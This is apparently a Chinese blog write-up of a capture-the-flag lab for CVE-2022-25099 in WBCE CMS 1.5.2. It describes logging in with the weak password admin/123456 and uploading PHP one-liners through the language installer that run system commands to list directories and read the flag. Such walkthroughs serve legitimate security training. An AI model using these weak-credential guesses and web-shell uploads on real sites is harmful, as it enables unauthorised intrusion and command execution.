春秋云境CVE-2022-25099

最新推荐文章于 2024-05-11 13:44:48 发布
最新推荐文章于 2024-05-11 13:44:48 发布
阅读量377 收藏 6
点赞数 18
分类专栏： 春秋云境 文章标签： 安全 web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_64432806/article/details/136924315
版权

简介

WBCE CMS v1.5.2 /language/install.php 文件存在漏洞，攻击者可精心构造文件上传造成RCE

正文

进入靶场，直接给我干懵逼了，调整一下心态。

弱口令爆破

然后直接开始尝试路径admin结果真的访问到了登录界面，看来还是一个意外收获。然后就开始进行弱口令爆破。Admin/123456就成功爆破进去啦！

找上传点

进去后，我们就开始寻找注入点，最后发现Add-ons里面有个language，正好和我们靶场提示的/language/install.php 文件存在漏洞有联系，然后我们直接进去。

开始上传

然后就看到上传文件了。开始文件上传了。

直接上传一个<?php phpinfo();?>发现可以运行。然后就尝试上传命令执行。

然后开始上传<?php system('ls');?>查看目录

没发现flag继续查看根目录<?php system('ls /');?>

找到flag

发现flag直接查看。<?php system('cat /flag');?>

是花花呢
关注
  • 18
    点赞
  • 踩
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
CVE-2022-22965 GUItools单个图形化利用工具
04-06
3月31日，spring 官方通报了 Spring 相关框架存在远程代码执行漏洞，并在 5.3.18 和 5.2.20.RELEASE 中修复了该漏洞。 漏洞评级：严重 影响组件：org.springframework:spring-beans 影响版本：< 5.3.18 和 < 5.2.20.RELEASE 的Spring框架均存在该漏洞，建议用户尽快进行排查处置。 缺陷分析 CVE-2010-1622中曾出现由于参数自动绑定机制导致的问题， 此前通过黑名单的方式修复了该漏洞，但是 JDK9之后引入了 Module，使得可以通过 getModule 绕过前者的黑名单限制，最后导致远程代码执行。
XStream拒绝服务漏洞(CVE-2022-41966)响应通告
05-05
XStream拒绝服务漏洞(CVE-2022-41966)响应通告
CVE-2022-22963 复现Demo
04-14
CVE-2022-22963 复现Demo，A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it. 存在任何使用问题可以私信本人。
CVE-2022-33891POC Apache Spark 命令注入（CVE-2022-33891）POC
08-10
CVE-2022-33891POC Apache Spark 命令注入（CVE-2022-33891）POC CVE-2022-33891 影响版本 Apache spark version<3.0.3 3.1.1<Apache spark 版本<3.1.2 Apache Spark version>= 3.3.0 修复方案 1.建议升级到安全版本，参考官网链接： https://spark.apache.org/downloads.html 2.安全设备路径添加黑名单或者增加WAF规则（临时方案）。
春秋云境：CVE-2022-25099
一只爱吃橙子的羊
12-01 1176
WBCE CMS v1.5.2 /language/install.php 文件存在漏洞，攻击者可精心构造文件上传造成RCE
春秋云境：CVE-2022-24112
一只爱吃橙子的羊
12-04 2173
CVE-2022-24112：Apache Apisix是美国阿帕奇（Apache）基金会的一个云原生的微服务API网关服务。该软件基于 OpenResty 和 etcd 来实现，具备动态路由和插件热加载，适合微服务体系下的 API 管理。 Apache APISIX中存在远程代码执行漏洞，该漏洞源于产品的batch-requests插件未对用户的批处理请求进行有效限制。攻击者可通过该漏洞绕过Admin API的IP限制，容易导致远程代码执行。
春秋云境：CVE-2022-30887
一只爱吃橙子的羊
11-29 3861
多语言药房管理系统 (MPMS) 是用 PHP 和 MySQL 开发的, 该软件的主要目的是在药房和客户之间提供一套接口，客户是该软件的主要用户。该软件有助于为药房业务创建一个综合数据库，并根据到期、产品等各种参数提供各种报告。 该CMS中php_action/editProductImage.php存在任意文件上传漏洞，进而导致任意代码执行。
春秋云境：CVE-2022-28060
一只爱吃橙子的羊
11-29 2341
Victor CMS v1.0 /includes/login.php 存在sql注入
春秋云境：CVE-2022-25099（文件上传造成RCE）
m0_65712192的博客
04-22 925
WBCE CMS v1.5.2 /language/install.php 文件存在漏洞，攻击者可精心构造文件上传造成RCE
春秋云境：CVE-2022-24124
一只爱吃橙子的羊
12-02 2325
Casdoor是开源的一个身份和访问管理 (IAM) / 单点登录 (SSO) 平台，带有支持 OAuth 2.0 / OIDC 和 SAML 身份验证的 Web UI 。 Casdoor 1.13.1 之前存在安全漏洞，该漏洞允许攻击者通过api/get-organizations进行攻击。
春秋云境 CVE-2022-4230 夺旗
05-02
介绍如何 利用 CVE-2022-4230 的 WP Statistics WordPress 插件13.2.9 漏洞利用。 漏洞描述：WP Statistics WordPress 插件13.2.9之前的版本不会转义参数，这可能允许经过身份验证的用户执行 SQL 注入攻击。默认...
春秋云境：CVE-2022-26965
一只爱吃橙子的羊
11-29 2429
Pluck-CMS-Pluck-4.7.16 后台RCE
春秋云境：CVE-2022-22963
一只爱吃橙子的羊
01-20 748
SpringCloudFunction是SpringBoot开发的一个Servless中间件（FAAS），支持基于SpEL的函数式动态路由。当Spring Cloud Function 启用动态路由functionRouter时， HTTP请求头spring.cloud.function.routing-expression参数存在SPEL表达式注入漏洞，攻击者可通过该漏洞进行远程命令执行。 题目链接为：http://ip:port P.S 卡慢不影响拿flag
春秋云境：CVE-2022-23880
一只爱吃橙子的羊
12-06 1363
taoCMS v3.0.2 文件管理处存在任意文件上传漏洞，攻击者可执行任意代码
春秋云境：CVE-2022-24223
一只爱吃橙子的羊
12-02 1159
AtomCMS SQL注入漏洞
安全配置核查关注点
m0_62207482的博客
05-06 513
防火墙对UDP/TCP协议对外提供服务，供外部主机进行访问，如作为NTP服务器、TELNET服务器、TFTP服务器、FTP服务器、SSH服务器等，应配置防火墙，只允许特定主机访问。- 对于VPN用户，必须按照其访问权限不同而进行分组，并在访问控制规则中对该组的访问权限进行严格限制，检查口令生存周期要求。- 配置访问控制规则，拒绝对防火墙保护的系统中常见漏洞所对应端口或者服务的访问。- 查看每个共享文件夹的共享权限，只允许授权的账户拥有权限共享此文件夹。- 检查是否配置NFS服务限制检查。
绿盟之旅——一段安全实习结束
carrot11223的博客
05-08 545
去年，因为着急找实习，拿着简历就开始海投，当时想的是有人让我去就谢天谢地了，第一个约我面试的就是绿盟，也很顺利的通过了面试，当时让我选择在上海还是北京，我选择的是上海，因为学校在上海，结果到上海才知道我是隶属于北京总部，但是在上海办公的，这样，大多数时候就只能远程办公了，导师至今没见过，领导也只见过一面。
德国储能项目锂电池储能集装箱突发火灾：安全挑战再引关注
最新发布
iotsensor的博客
05-11 371
德国警方估计，此次火灾造成的经济损失约为50万欧元，但更为严重的是，起火原因至今尚未明确，这无疑给储能系统的安全性再次敲响了警钟。在储能系统大规模应用的背景下，如何有效预防和控制锂离子电池的热失控和火灾风险成为了一个亟待解决的问题。目前，虽然技术上尚未有绝对保证锂电池不发生热失控的方法，但通过气体传感器技术等手段对储能电池进行实时监测和预警，仍被视为一种可行的预防措施。针对储能电池热失控，要坚持“早发现，早处置”的原则，对储能集装箱锂电池热失控初级阶级进行超前探测预警，将火灾隐患扑灭在萌芽阶段。
春秋云境CVE-2022-29464
09-05
春秋云境CVE-2022-29464是指WSO2 API Manager 文件上传漏洞的CVE编号。这个漏洞允许攻击者通过上传恶意文件来执行任意代码，进而导致服务器受到攻击。根据引用，在GitHub上有一个项目，其中包含了与该漏洞相关的利用...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值